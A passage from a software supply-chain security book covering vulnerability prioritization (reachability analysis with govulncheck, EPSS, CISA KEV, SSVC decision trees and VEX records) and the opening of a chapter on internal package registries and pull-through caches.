transitive dependency reached only through an **optional** feature, a `devDependencies` entry, or a platform-specific package for an OS you do not ship. Package-manager metadata carries a lot of this for free:

- npm `optionalDependencies` and `peerDependencies`, and the `dev` / `prod` split in the lockfile.
- Maven `provided` and `test` scopes, and `<optional>true</optional>`.
- Go's build constraints and the distinction between the module graph and the *pruned* module graph that actually contributes packages (Go 1.17+ module-graph pruning).
- Cargo `[dev-dependencies]` and target-specific `[target.'cfg(...)'.dependencies]`.

If a vulnerable package is only present as a test-scoped or dev dependency, it is not in your production artifact at all — a categorical, high-confidence deprioritization that requires no code analysis. Chapter 6's build-time SBOM, generated from the production build, is the right input here precisely because it excludes those scopes.

Level 3 — Function / symbol-level static reachability

This is the level people mean when they say "reachability analysis" as a differentiator, and it is where the real precision — and the real difficulty — lives. The question is: *starting from my program's entrypoints, does any call path in the program's call graph actually reach the specific vulnerable function (symbol) named by the advisory?*

The mechanism, in three steps:

```
flowchart LR
    subgraph build["1. Build the call graph"]
      E["Entrypoints
(main, HTTP handlers,
exported API)"] --> F1["your funcs"]
      F1 --> F2["lib funcs"]
    end
    subgraph mark["2. Mark vulnerable symbols"]
      ADV["Advisory data
(Go vuln DB, GHSA
with affected symbols)"] --> V["e.g. text/template.Execute,
vuln pkg.Decode()"]
    end
    build --> R{"3. Reachability check:
is any vulnerable symbol
on a path from an entrypoint?"}
    mark --> R
    R -->|"yes"| CALLED["REPORT — vulnerable symbol called"]
    R -->|"no"| UNCALLED["SUPPRESS — present but uncalled"]
```

1. **Build a call graph** of the whole program: nodes are functions/methods, edges are "may call." You root it at the program's entrypoints (`main`, exported library API, HTTP/gRPC handlers, framework-invoked callbacks) and follow calls transitively, *through* your code *into* dependency code, all the way down.
2. **Mark the vulnerable symbols.** This requires advisory data at symbol granularity — not just "package foo ≤ 1.4 is vulnerable" but "the vulnerability is in `foo.Parse` and `foo.parseHeader`." Most advisory databases do *not* carry this; the Go vulnerability database is the notable one that does.
3. **Check reachability.** If any vulnerable symbol is on a path from an entrypoint in the call graph, the vulnerability is (statically) reachable — report it. If no vulnerable symbol is reachable, the package is present but the dangerous code is dead relative to your entrypoints — suppress or heavily deprioritize.

Consider the difference concretely. Two services both depend on a YAML library with a vulnerability in its custom-tag deserialization path (`UnmarshalWithTags`). Service A calls only `yaml.Marshal` to *emit* config and never unmarshals untrusted YAML; the vulnerable symbol is not on any path from its entrypoints. Service B calls `yaml.UnmarshalWithTags` on a request body. Package-level SCA flags both identically. Symbol-level reachability correctly separates them: A is suppressed, B is reported.

Across a fleet, that separation is the difference between a triageable queue and an untriageable one.

The gold standard: govulncheck

Go's `govulncheck` is the reference implementation of symbol-level reachability and the clearest thing to reason from, because two pieces line up that rarely line up elsewhere.

First, the **Go vulnerability database** publishes affected *symbols*, not just affected version ranges. A Go advisory (OSV format, in the `vulndb`) lists the specific packages and exported symbols that carry the flaw. That is the marking data Step 2 needs, curated upstream.

Second, Go is **statically typed and statically compiled with limited dynamic dispatch**, so a precise whole-program call graph is tractable. `govulncheck` builds the program's SSA form and runs a call-graph analysis (using the standard `golang.org/x/tools` machinery — a VTA/RTA-style algorithm that resolves interface method calls conservatively but tightly), then checks whether any vulnerable symbol is reachable from the module's entrypoints.

The output distinguishes the levels of the funnel explicitly. Findings where a vulnerable symbol is actually called are reported with the call stack that reaches them; findings where the package is present but no vulnerable symbol is reached are reported only at a lower "module is imported" level, or suppressed:

```
$ govulncheck ./...
=== Symbol Results ===

Vulnerability #1: GO-2024-2687
    HTTP/2 CONTINUATION flood in golang.org/x/net/http2
  More info: https://pkg.go.dev/vuln/GO-2024-2687
  Module: golang.org/x/net
    Found in: golang.org/x/net@v0.22.0
    Fixed in: golang.org/x/net@v0.23.0
    Example traces found:
      #1: server.go:141:29: myapp/server.Run calls
http2.Server.ServeConn

Your code is affected by 1 vulnerability from 1 module.

This scan also found 3 vulnerabilities in modules that you require
that are neither imported nor called.
```

That last line is the whole point. Three vulnerabilities are *present in your dependency graph* — a package-level scanner would report four criticals — but `govulncheck` has proven they are not called and tells you so, leaving you one finding to act on with a concrete call stack (`myapp/server.Run → http2.Server.ServeConn`) that shows exactly why it matters.

Why other languages are harder

Symbol-level reachability degrades as a language gets more dynamic, and it is worth understanding *why*, because it tells you exactly how much to trust a reachability verdict in each ecosystem.

- **Java / JVM.** Tractable but harder than Go. Bytecode is statically typed, so call-graph tools (Soot, WALA, OPAL, and the CHA/RTA/points-to algorithms they implement) can build reasonable graphs from compiled classes. The complications are runtime realities: heavy interface and virtual dispatch, reflection (`Class.forName`, `Method.invoke`), dynamic proxies, service-loader and dependency-injection frameworks (Spring, CDI) that wire calls at runtime, and classloader tricks. Analyses handle these with conservative over-approximation (assume reflection can call anything matching) or heuristics, trading false negatives for false positives. Advisory data rarely carries affected symbols for Java, so tools often must infer the vulnerable symbols themselves.
- **JavaScript / TypeScript.** Substantially harder. Dynamic dispatch is pervasive, first-class functions and callbacks everywhere, `eval` and dynamic `import()`, monkey-patching of objects and prototypes, and a module system where what a name refers to can change at runtime. Sound whole-program call graphs are a research-grade problem; production tools lean on approximate static analysis or fall back to coarser signals. Bundlers (webpack, esbuild) that tree-shake can *help* — code that was tree-shaken out is genuinely absent — but that is reasoning about presence, not reachability.
- **Python / Ruby.** Hardest of the mainstream set. Duck typing, no static types to resolve dispatch, `getattr` / `__getattr__` and metaclasses, monkey-patching, `importlib` and `__import__` with computed names, and decorators that rewrite behavior. A *sound* static call graph — one that never misses a real call — would have to assume almost anything can call almost anything, which makes it useless. Practical Python reachability tools are therefore *unsound by*

design: they trace the calls they can resolve and accept that dynamically dispatched calls will be missed.

The honest summary is a table. Note that "precision" here means the trustworthiness of a *negative* verdict — an "unreachable, safe to suppress" claim:

Language	Call-graph tractability	Advisory symbol data	Trust in "unreachable" verdict
Go	High (static, compiled, SSA)	Yes (Go vuln DB)	High
Java/JVM	Medium-high (bytecode)	Rare	Medium — reflection/DI leak
JavaScript/ TS	Low-medium	No	Low — dynamic dispatch, eval
Python/ Ruby	Low	No	Low — unsound, misses dynamic calls

Be honest about the errors — both directions

Reachability analysis is not a truth oracle, and treating it as one is dangerous. It errs in *both* directions, and the two errors have opposite consequences.

- **False negatives (missed real calls) → suppressed real risk.** This is the dangerous one. A tool that misses a call — because it went through reflection, a dynamic import, an `eval`, a framework's runtime wiring, a message queue, an HTTP boundary the static graph does not cross, or simply an entrypoint the tool did not know to root at — will confidently tell you a vulnerability is unreachable when it is not. In dynamic languages this is common. The operational rule that follows: **the strength of an "unreachable → suppress" decision is exactly the soundness of the tool that produced it.** A govulncheck "not called" is strong evidence; a Python reachability tool's "not called" is weak evidence, and you should treat it as a deprioritization, not a dismissal, especially for KEV-listed or actively exploited CVEs.
- **False positives (conservative over-approximation) → wasted work.** Sound-leaning analyses over-approximate: when reflection

might call something, they assume it does. This reintroduces some of the noise reachability was meant to remove, but it fails safe.

The governing asymmetry: **for suppression decisions, prefer sound (over-approximating) tools and treat unsound "unreachable" verdicts as soft signals.** Never let an unsound reachability verdict override a KEV listing.

Static versus runtime reachability

Everything so far is *static* reachability — analyzing code without running it. There is a second family: **runtime (dynamic) reachability**, which observes what actually loads and executes in a running process.

```
flowchart TB
    subgraph S["Static reachability"]
      SA["Analyze code / bytecode / SSA
pre-deploy, in CI"]
      SA --> SB["Whole-program call graph
from entrypoints"]
      SB --> SC["Complete-ish but imprecise:
sees ALL possible paths,
over/under-approximates dynamics"]
    end
    subgraph D["Runtime reachability"]
      DA["Instrument the process:
eBPF probes, in-proc agent,
classloader hooks"]
      DA --> DB["Observe what actually
loads + executes in prod"]
      DB --> DC["Precise for observed paths
but only sees what ran;
a cold path looks unused"]
    end
```

Runtime approaches instrument the process and watch. Two common mechanisms:

- **eBPF and OS-level probes.** Attach to the running process from the kernel side and observe which files/classes/shared objects are loaded and, at finer granularity, which functions execute — without modifying the application. This is how several "runtime SCA" and cloud-workload-protection products determine that, of the 300 packages in an image, only 60 are ever loaded into memory at runtime.

- **In-process agents.** A language agent (a JVM `-javaagent`, a Python import hook, a Node `--require` shim) inside the runtime instruments loading and invocation directly, which gives language-aware, symbol-level observation — it can see that `yaml.UnmarshalWithTags` was actually invoked on a real request.

The trade-off is fundamental and mirrors the classic static-vs-dynamic-analysis tension:

	Static	**Runtime**
When	Pre-deploy, in CI, on every PR	Post-deploy, in staging/prod
Coverage	All *possible* paths (complete-ish)	Only paths that actually *executed*
Precision	Imprecise (over/under-approx of dynamic dispatch)	Precise for what it observed
Dynamic calls	The weakness (reflection, eval)	Sees them directly — a strength
Main failure mode	Over-approximation → noise; unsoundness → misses	Cold paths look "unused" until they run
Cost	CI compute	Production instrumentation + overhead

The critical asymmetry for runtime reachability: **"not observed" is not "not reachable."** A code path that only fires on a rare error, a specific tenant, an admin endpoint, a once-a-quarter batch job, or an attacker's deliberately unusual input will read as "unused" in your telemetry right up until it executes — and an attacker's whole job is to execute the path you never do. Runtime reachability is excellent for *confirming* something is used (a strong positive) and for narrowing the *loaded* set; it is weak for *proving* something is safe. The mature posture combines them: static reachability as the pre-deploy gate that is complete-ish over possible paths, runtime reachability as the production signal that confirms usage and catches the dynamic calls static analysis missed. Where they *disagree* — static says unreachable, runtime observed it — the runtime observation wins and points straight at a gap in your static model.

Exploitability signals beyond reachability

Reachability answers "can our code get there?" Exploitability answers "would getting there actually hurt, and is anyone trying?" These are Chapter 5's prioritization inputs, now put to work as filters further down the funnel. Reachability without exploitability over-invests in reachable-but-harmless code; exploitability without reachability chases exploited CVEs you do not actually run. You need both axes.

EPSS — probability of exploitation

The **Exploit Prediction Scoring System** (EPSS, from FIRST.org) produces, for a CVE, a probability in [0, 1] that it will be *exploited in the wild in the next 30 days*. It is a machine-learned model trained on observed exploitation activity against features drawn from the CVE text, references, exploit-code availability, vendor, CWE, and more. Scores are recomputed **daily** — an EPSS score is a live signal that rises when exploit code appears or chatter increases, not a static attribute.

Two properties matter operationally. First, EPSS is heavily **right-skewed**: most CVEs sit near zero, and a small tail carries most of the probability mass. That is exactly what makes it useful as a filter — a threshold (say, EPSS ≥ 0.1, or top-percentile) isolates a small, high-probability set. Second, it is **probabilistic and population-level**, not a statement about your environment: it tells you how likely this CVE is to be exploited *somewhere*, not whether it is reachable *in you*. Use it as the "is anyone likely to weaponize this soon?" axis, orthogonal to reachability. (See Chapter 5 for the model's construction and caveats.)

CISA KEV — known exploited, drop everything

The **CISA Known Exploited Vulnerabilities (KEV) catalog** is a curated list of CVEs with **reliable evidence of active exploitation in the wild**. Where EPSS is a prediction, KEV is an observation: inclusion means it is *being* exploited, not that it might be. Established under Binding Operational Directive 22-01, it carries remediation due dates for US federal agencies, but its value to everyone is as the highest-confidence "this is real, now" signal available.

Operationally, **KEV is a near-absolute override.** A KEV-listed CVE that is present and plausibly reachable jumps to the top of the queue regardless of its CVSS or EPSS, and — this is the key interaction with the

earlier sections — **a KEV listing should override an unsound reachability "unreachable" verdict.** If your Python reachability tool says "not called" but the CVE is on KEV, you verify by hand rather than trusting the suppression. KEV is small (low thousands of entries), high-signal, and machine-consumable; every prioritization pipeline should join against it first.

Public exploit availability and attack surface

Between "predicted" (EPSS) and "confirmed exploited" (KEV) sits **exploit availability**: is there a public proof-of-concept or a weaponized module? A PoC on GitHub, an Exploit-DB entry, or — the strongest of these — a **Metasploit module** each lowers the effort an attacker needs and each raises priority. (This is also a major *input* to EPSS, so treat it as corroboration rather than a fully independent signal.)

Finally, three environmental factors that no CVE-level feed can know and that you must supply from *your* context:

- **Attack vector.** CVSS's AV metric — Network vs. Adjacent vs. Local vs. Physical — is a legitimately useful base-metric field: a network-exploitable flaw in an exposed service is a categorically different animal from one requiring local access.
- **Untrusted input on the path.** Does the reachable vulnerable code actually receive attacker-controlled data (a request body, an uploaded file, a queue message from an external producer), or only internal, trusted values? This is funnel layer 3, and it often requires taint reasoning or human judgment, but it is decisive.
- **Internet exposure of the service.** The same reachable vuln in an internet-facing edge service and in an internal batch job are worlds apart. This is not a property of the CVE at all — it is a property of your *deployment topology*, and wiring it in automatically is the subject of the distributed-systems section below.

These environmental signals are also where **threat-intelligence-driven prioritization** enters: knowing that a specific threat actor is actively exploiting a class of vulnerability against your sector sharpens all of the above. That is developed in Book 8, Chapter 7 — Threat Intelligence for Supply Chain.

Putting it together — a prioritization model

We now have the axes. A defensible model combines them; it does not pick one. The shape most teams converge on is multiplicative — a finding is urgent only when *several* axes are high at once, and any single axis being near zero should pull the priority down. Conceptually:

```
priority ≈ severity(CVSS base)
         × reachability      (0 = proven unreachable ... 1 = symbol
called on hot path)
         × exploitation      (KEV = max ; else f(EPSS, exploit
availability))
         × exposure          (internet-facing + untrusted input ...
internal batch)
         × asset_criticality (tier-0 revenue path ... throwaway
internal tool)
```

Do not over-fit the arithmetic — the point is the *structure*, not a spurious decimal. Multiplicative combination captures the key intuition the CVSS-only sort misses: **a 9.8 that is proven unreachable in an internal tool (reachability ≈ 0, exposure ≈ low) drops far below a 6.5 that is KEV-listed, reachable, and internet-facing.** The factors are the funnel layers, re-expressed as multipliers.

A worked example

Five findings, same week, one team. The CVSS-only sort would rank them 1–2 (both 9.8), then 3, then 4, then 5. Watch how a multi-axis model reorders them.

#	Finding	CVSS	Reachable?	Exploit	Exposure	Asset	Verdict
A	RCE in image-parsing lib, called on upload path	9.8	Yes (symbol on request path)	EPSS 0.02, no PoC	Internet-facing	Tier-0 checkout	**Act now**
B	RCE in the same lib, but only in an unused codec	9.8	No (govulncheck: not called)	EPSS 0.02	Internet-facing	Tier-0	Track / V not_affec

#	Finding	CVSS	Reachable?	Exploit	Exposure	Asset	Verdict
C	Auth-bypass in an admin framework	7.5	Yes	**KEV**, Metasploit module	Internet-facing	Tier-1	**Act now**
D	DoS in a YAML parser, reachable	5.3	Yes	EPSS 0.35	Internal batch job	Tier-3	Attend (normal SLA)
E	Info-leak in a logging lib	6.5	No (dev-dependency only)	EPSS 0.01	n/a (not shipped)	n/a	Suppress

The reordering is the entire lesson:

- **C (CVSS 7.5) leaps above B (CVSS 9.8)** because it is KEV-listed and reachable, while B is a proven-unreachable codec — the strong `govulncheck` "not called" verdict lets you confidently VEX it as `not_affected`.
- **A stays at the top** on the strength of every axis aligning: reachable on the upload path, internet-facing, tier-0 — even though its EPSS is low, the confluence of reachability + exposure + criticality makes it the thing to fix first.
- **D is real but patient**: reachable and moderate EPSS, but an internal batch job at tier-3; it earns a normal-SLA fix, not a fire drill.
- **E vanishes** on the cheapest possible filter — it is a dev-dependency, not in the shipped artifact — no code analysis required.

A pure CVSS sort gets *four of these five wrong* relative to actual risk. That is the case for the whole chapter, in one table.

SSVC — a decision tree instead of a score

Multiplying fuzzy factors bothers people, reasonably, because it manufactures false precision and hides the reasoning. **SSVC — Stakeholder-Specific Vulnerability Categorization**, from Carnegie Mellon's SEI and adopted/adapted by CISA — replaces the score with a **decision tree**: an ordered set of yes/no-ish decision points whose leaves are *actions*, not numbers. The output is auditable ("we chose Track

because exploitation is None and it is not Automatable"), and it forces the organization to define its risk appetite explicitly in the tree rather than implicitly in a threshold.

CISA's deployer-facing SSVC uses four decision points that map cleanly onto everything above:

- **Exploitation** — None / Public PoC / Active. (This is the KEV + exploit-availability axis.)
- **Automatable** — can steps 1–4 of the kill chain be reliably automated? Yes/No. (Roughly: is it wormable / mass-exploitable, which is where reachability-with-untrusted-input and network attack vector feed in.)
- **Technical Impact** — Partial / Total. (Severity — does exploitation yield total control?)
- **Mission & Well-being** — the impact on the deploying organization's mission and on human well-being: Low / Medium / High. (This is your asset-criticality and exposure context.)

The leaves are four actions: **Track** (no action beyond normal updates), **Track*** (track closely, act if things change), **Attend** (bring in the team, act sooner than the next normal cycle), and **Act** (remediate as fast as you can, out of band).

```
flowchart TD
    START["New finding
(present + reachable enough to enter tree)"] --> EX{"Exploitation?"}
    EX -->|"None"| AUT1{"Automatable?"}
    EX -->|"Public PoC"| AUT2{"Automatable?"}
    EX -->|"Active (KEV)"| TI3{"Technical Impact?"}
    AUT1 -->|"No"| MW1{"Mission & Well-being?"}
    AUT1 -->|"Yes"| MW2{"Mission & Well-being?"}
    MW1 -->|"Low/Med"| TRK["Track"]
    MW1 -->|"High"| TRKS["Track*"]
    MW2 -->|"Low"| TRK
    MW2 -->|"Med/High"| ATT["Attend"]
    AUT2 -->|"No/Yes"| MW3{"Mission & Well-being?"}
    MW3 -->|"Low"| TRKS
    MW3 -->|"Med"| ATT
    MW3 -->|"High"| ACT["Act"]
    TI3 -->|"Partial"| ATT
    TI3 -->|"Total"| ACT
```

The tree above is illustrative, not the normative CISA table cell-for-cell — the real decision table has more paths — but the *shape* is faithful: exploitation is the dominant first cut, KEV/active pushes hard toward Act, and your mission/exposure context is what separates Track from Attend on the low-exploitation branches. The genuine value of SSVC is not the specific tree; it is that it **makes the organization's prioritization policy an explicit, versioned, auditable artifact** instead of a folk practice living in a senior engineer's head. You can and should tailor the decision points to your environment — that is the "Stakeholder-Specific" in the name.

VEX — record the decision once

Every reachability and exploitability judgment above is *expensive*: it costs analysis, or human review, or both. The unforgivable waste is making the same judgment repeatedly — the same transitive CVE in the same shared base image re-triaged by fifty teams, or re-triaged by *you* every week because last week's "not affected, unreachable" verdict was never written down anywhere a tool could read.

VEX — Vulnerability Exploitability eXchange — is the machine-readable mechanism for recording and communicating exactly these decisions. A VEX statement asserts, for a given product and vulnerability, a **status**: `not_affected`, `affected`, `fixed`, or `under_investigation`. When the status is `not_affected`, VEX carries a **justification** — and the justification vocabulary is precisely the language of this chapter's funnel:

- `component_not_present` — layer 1 (it is not even in this artifact).
- `vulnerable_code_not_present` — the affected code was removed/not compiled in.
- `vulnerable_code_not_in_execute_path` — **reachability**: present but not called.
- `vulnerable_code_cannot_be_controlled_by_adversary` — layer 3: reachable but no attacker input reaches it.
- `inline_mitigations_already_exist` — layer 4: a compensating control neutralizes it.

That mapping is not a coincidence — VEX was designed to record the outputs of exactly the triage funnel we built. The payoff is twofold. **Suppression becomes durable and auditable:** a govulncheck "not called" verdict becomes a `not_affected /`

`vulnerable_code_not_in_execute_path` VEX statement that your scanner reads on the next run and does not re-surface, with the reasoning attached for the auditor. And **it becomes shareable downstream:** when an upstream vendor ships a VEX saying their product is `not_affected` by a CVE in a library they bundle, every consumer inherits that triage instead of redoing it. VEX is the write-side of everything in this chapter; the full mechanics — CSAF VEX vs. CycloneDX VEX, OpenVEX, statement lifecycle, and distribution — are Book 3, Chapter 6 — VEX and Exploitability.

Distributed-systems lens

At fleet scale, prioritization is not a per-finding analysis problem; it is a *data-join and governance* problem. The technical filters of this chapter are necessary but insufficient unless they are wired into the topology of your organization.

Reachability and exposure are topology, not library facts. The same reachable CVE in an internet-facing edge gateway and in an internal nightly report generator carries wildly different risk, and *nothing in the CVE, the CVSS vector, or even the call graph knows the difference*. The exposure axis lives in your **service catalog** — the same system of record that holds ownership, on-call, and tier from your platform's service metadata. The design imperative is to **join findings against catalog metadata automatically**: for every finding, the pipeline should look up whether the affected service is internet-facing (from the ingress/gateway config or service-mesh topology), what data classification it touches (PII, payments, secrets), and its criticality tier — and feed those directly into the multiplicative model or the SSVC "Mission & Well-being" and exposure inputs. Exposure that a human has to look up by hand is exposure that will not be looked up. Derive it from the mesh, the ingress rules, and the catalog.

```
flowchart LR
    SCAN["Fleet SCA
(Ch 6): findings
package + version + service"] --> JOIN
    CAT["Service catalog
tier, owner, data class,
internet-facing?"] --> JOIN
    REACH["Reachability
(govulncheck / static / runtime)"] --> JOIN
    EXPL["Exploitation feeds
KEV, EPSS, exploit-db"] --> JOIN
    JOIN["Central prioritization engine
(multiplicative model / SSVC)"] --> VEX["Central VEX store
(triage recorded once)"]
    VEX --> Q["Per-team queues,
ranked by risk to US"]
    VEX -.->|"reused, not re-triaged"| Q2["Other teams'
same transitive CVE"]
```

Centralize triage; do not let 500 teams re-triage the same transitive CVE. In a microservice fleet, a single popular transitive dependency — a logging library, a serializer, a base-image package — appears in hundreds of services. When a CVE lands on it, the *default* outcome is hundreds of independent, mostly-duplicated triage efforts, most reaching the same conclusion. This is pure waste and it is where alert fatigue metastasizes. The fix is a **central prioritization engine and a central VEX store**: reachability and exploitability are assessed once against the shared component (with per-service reachability where the usage genuinely differs), the verdict is recorded as VEX, and every affected team's queue reads the central verdict instead of regenerating it. When the shared base-image team publishes "`not_affected / vulnerable_code_not_in_execute_path`" for a CVE in a bundled library nobody calls, that statement suppresses the finding across every downstream service at once. Triage becomes O(distinct components) instead of O(services × components).

Make the exploitation and exposure joins live. KEV and EPSS change *daily*; a service's internet-exposure changes whenever someone edits an ingress rule; a cold code path becomes hot when a feature ships. A prioritization built as a one-time report is stale within a day. Build it as a continuously re-evaluated join: new KEV entries re-rank the existing inventory overnight, a newly-exposed service re-scores its findings, and a reachability change from a code deploy updates the verdict on the next

scan. The output humans consume is not a static severity-sorted CSV; it is a **live, per-team, risk-ranked queue** whose ranking already reflects reachability, exploitation, exposure, and criticality — so that the first item on each team's list is, actually, the thing most worth their next hour.

Key takeaways

- **CVSS-sorted alert lists fail** because the base score is context-free by construction — it encodes no reachability, no exploitation-in-practice, and no environment. Sorting by it produces false urgency (walls of unreachable 9.8s) and false calm (a KEV-listed, reachable 7.5 buried on page four). At fleet scale you must filter automatically and rank by risk *to your system*.
- **Prioritization is a funnel of increasingly precise filters:** present → reachable → input-reachable → exploitable → exploited. Each layer removes a large fraction, and they run cheap-to-expensive, coarse-to-precise. Apply the cheap coarse filters first.
- **Reachability is the highest-leverage filter** because "present but unused" is usually the *majority* of findings. It has levels: package presence (basic SCA), dependency-graph position (direct vs. transitive/optional/dev — free from package metadata), and symbol-level static call-graph reachability (the precise, hard one).
- **Symbol-level reachability = call graph from entrypoints + vulnerable symbols marked from advisory data + a reachability check.** Go's **govulncheck** is the gold standard because the Go vuln DB publishes affected *symbols* and Go's static compilation makes precise call graphs tractable — it reports the exact call stack and suppresses present-but-uncalled vulns.
- **The analysis degrades with dynamism:** Java is tractable-but-leaky (reflection, DI), JavaScript is hard (dynamic dispatch, eval), Python/Ruby are hardest and their reachability tools are *unsound by design*. Be honest: an "unreachable" verdict is only as trustworthy as the soundness of the tool — a govulncheck "not called" is strong; a Python tool's is a soft signal. **Never let an unsound reachability verdict override KEV.**
- **Static vs. runtime reachability trade completeness for precision.** Static is pre-deploy and complete-ish over possible paths but imprecise on dynamics; runtime (eBPF, in-process agents) is

precise for what actually executed but blind to cold paths — "not observed" is not "not reachable." Combine them; where they disagree, the runtime observation exposes a gap in the static model.

- **Layer exploitability on top of reachability:** EPSS (daily probability of exploitation), KEV (confirmed active exploitation — a near-absolute override), public exploit/Metasploit availability, attack vector, untrusted-input-on-path, and internet exposure. Reachability without exploitability over-invests in harmless code; exploitability without reachability chases CVEs you do not run.
- **Combine the axes multiplicatively, not additively** — a proven-unreachable 9.8 in an internal tool should drop below a KEV-listed, reachable, internet-facing 6.5. Use **SSVC** when you want an auditable decision *tree* (Exploitation → Automatable → Technical Impact → Mission & Well-being ⇒ Track / Track* / Attend / Act) that makes your risk appetite explicit and versioned.
- **Record every triage decision as VEX** so it is durable, auditable, and shareable — its `not_affected` justifications (`vulnerable_code_not_in_execute_path`, `cannot_be_controlled_by_adversary`, `inline_mitigations_already_exist`) *are* the funnel layers. Never re-triage the same finding twice.
- **The distributed-systems core is the data join:** wire exposure and criticality from the **service catalog** into prioritization automatically, **centralize triage as VEX** so O(distinct components) replaces O(services × components), and keep the join **live** because KEV, EPSS, and exposure all change daily. Ship each team a risk-ranked queue, not a severity-sorted CSV.

Further reading

- The Go vulnerability database and govulncheck — design, the symbol-level OSV data, and how the static analysis works (https://go.dev/security/vuln/ and https://go.dev/blog/govulncheck).
- "Govulncheck v1.0.0 is released!" and the Go team's writing on call-graph-based reachability and its precision goals (https://go.dev/blog/govulncheck).
- EPSS — the Exploit Prediction Scoring System model, data, and user guide, FIRST.org (https://www.first.org/epss/).

- CISA Known Exploited Vulnerabilities Catalog and Binding Operational Directive 22-01 (https://www.cisa.gov/known-exploited-vulnerabilities-catalog).
- SSVC — "Prioritizing Vulnerability Response: A Stakeholder-Specific Vulnerability Categorization," CMU SEI, and CISA's SSVC guide and decision trees (https://www.cisa.gov/stakeholder-specific-vulnerability-categorization-ssvc and https://github.com/CERTCC/SSVC).
- CVSS v3.1 and v4.0 specifications — for the attack-vector and base-metric semantics used as the severity axis, FIRST.org (https://www.first.org/cvss/).
- VEX — the CISA VEX minimum-requirements and status/justification documents, plus OpenVEX, CSAF VEX, and CycloneDX VEX (https://www.cisa.gov/resources-tools/resources/vulnerability-exploitability-exchange-vex-use-cases and https://github.com/openvex).
- Static call-graph analysis foundations — Soot, WALA, and the CHA/RTA/points-to literature for the JVM (https://soot-oss.github.io/soot/ and https://github.com/wala/WALA).
- The OSV schema's `affected[].ecosystem_specific` and symbol/range data that reachability tools consume (https://ossf.github.io/osv-schema/).
- On the limits of static analysis for dynamic languages — background on why sound call graphs for JavaScript and Python are hard (survey literature on dynamic-language points-to analysis); read critically and match claims to your ecosystem.

Chapter 8 — Vendoring, Mirroring, and Internal Registries

What this chapter covers. Every previous chapter in this book has, at some point, pointed here. Dependency confusion (Chapter 3) is defeated by *where* a name resolves. Malicious-package detection (Chapter 4) only protects a fleet if the scan runs *once, at a chokepoint,* instead of on ten thousand developer laptops that may never run it. Vulnerability data (Chapter 5) and SCA (Chapter 6) need a single inventory of what actually entered the org. All of these controls share a precondition: a controlled

layer between your builds and the public registries. This chapter is the full treatment of that layer — the single highest-leverage architectural control for dependency security in a large organization. We walk the spectrum from "builds hit npmjs directly" to "nothing enters without passing policy," dissect the internal repository-manager architecture (remote, local, and virtual repositories) that every serious org runs, show precisely how the resolution order in a virtual repository is where you *win* the dependency-confusion fight, and then treat the chokepoint as what it really is: a fleet-wide control plane for scanning, cooldown, licensing, provenance, and audit. We finish on the operational reality that this control plane is now tier-0 infrastructure and a high-value target in its own right.

Learning goals — after this chapter you should be able to:

- Place any dependency-sourcing setup on the **spectrum of control** — direct-from-public, pull-through cache, mirror, vendoring, fully curated — and articulate what each buys and costs.
- Explain the **remote / local / virtual repository** model that repository managers (Artifactory, Nexus, CodeArtifact, and others) share, and how a virtual repository *resolves* a request.
- Configure the **resolution-order security property** — internal namespaces resolve locally and never fall through to upstream — with real `exclude-patterns`, scoped `.npmrc`, and package origin controls, and understand why this, not scanning, is the actual dependency-confusion fix.
- Turn the chokepoint into a **control plane**: ingestion scanning, version cooldown/quarantine, allow/deny and license policy, provenance verification, immutability, and a complete audit trail keyed to incident response and SBOM inventory.
- Run the registry as **critical infrastructure** — HA, DR, retention, build-farm performance — and make it the *mandatory* path with egress control rather than a suggestion.
- Stand up an **internal** `GOPROXY` and reason correctly about `GOSUMDB`, `GOPRIVATE`, and private-module checksum behavior.

A note on scope. This chapter is about *sourcing* — how artifacts get from the public internet into your builds and under what controls. It deliberately overlaps with, but does not replace, several neighbors: hermetic and reproducible builds are Book 4, Chapter 2 (vendoring is one

road to hermeticity); provenance and signature verification are Book 5 (we verify *at ingestion* here and defer the cryptography there); the SBOM-keyed inventory that answers "which builds pulled the bad version" is Book 3; and the incident-response playbook that consumes the registry's audit log is Book 8, Chapter 6. Where those chapters own a mechanism, we use it and point.

The spectrum of control over dependency sourcing

There is no single "right" way to source dependencies; there is a spectrum, and where you sit on it is a deliberate trade of friction against control. Most organizations drift toward the low-control end by default — nobody *decides* to let ten thousand builds hit `registry.npmjs.org` directly, it is simply what happens when you `npm install` with no configuration — and then get dragged rightward by an incident.

```
flowchart LR
  A["Direct-from-public
builds hit npmjs / PyPI /
Maven Central directly"] --> B["Pull-through cache
local proxy caches
upstream on first request"]
  B --> C["Mirror
full or partial local
copy of upstream"]
  C --> D["Vendoring
dependency source
committed into your repo"]
  C --> E["Curated / allowlisted
nothing enters without
passing policy"]
  A -.->|"least control
least friction"| A
  E -.->|"most control
most friction"| E
```

Note that this is not a strict linear ladder — vendoring and full curation are two different answers to "I want reproducibility and control," reachable from a mirror, with different ergonomics. Let us take them in turn.

Direct-from-public: the dangerous default

In the direct model, each build talks straight to the ecosystem's public registry. It is the path of least resistance and, for a hobby project, entirely fine. At organizational scale it is a liability on five distinct axes:

- **Availability coupling.** Your ability to build and deploy is now transitively dependent on a third party's uptime and on individual maintainers' whims. The canonical demonstration is left-pad: in March 2016 a maintainer unpublished roughly 250 npm packages — including the eleven-line `left-pad` — over a naming dispute, and builds across the ecosystem that resolved `left-pad` transitively broke within minutes. Registry outages, rate-limiting, and regional network partitions produce the same effect less dramatically but more often. (Book 1, Chapter 8 — The Open Source Ecosystem — treats the sustainability and unpublish dynamics in depth.)
- **No ingestion scanning.** There is no single place to inspect what enters, so any scanning you do is per-consumer and best-effort — precisely the property a smash-and-grab malicious release exploits.
- **Dependency-confusion exposure.** When a resolver can reach the public registry for *any* name, an internal name that also exists publicly can be hijacked (Chapter 3). Direct sourcing is the configuration that makes confusion possible.
- **No audit trail.** When an incident lands and someone asks "which of our builds pulled the compromised version between Tuesday and Thursday," the honest answer under direct sourcing is "we cannot tell you." That is an unacceptable answer during an incident (Book 8).
- **Unbounded blast radius.** A single malicious version can reach every build simultaneously, with no interposed control able to stop it fleet-wide.

Pull-through cache (proxy): the minimum viable control

A caching or *pull-through* proxy sits between your builds and upstream. On the first request for a given artifact it fetches from upstream, stores a local copy, and serves it; subsequent requests are served locally. The immediate wins are resilience — a cached artifact survives an upstream outage or unpublish — and, critically, a *single point through which every request passes*. That single point is what everything later in this chapter is built on: one place to log, one place to scan, one place to enforce. A

pure cache does not yet *curate* — by default it will fetch anything that exists upstream — but it converts an unbounded, unobservable problem into a bounded, observable one. If you do exactly one thing on this spectrum, do this.

Mirroring: a local copy of upstream

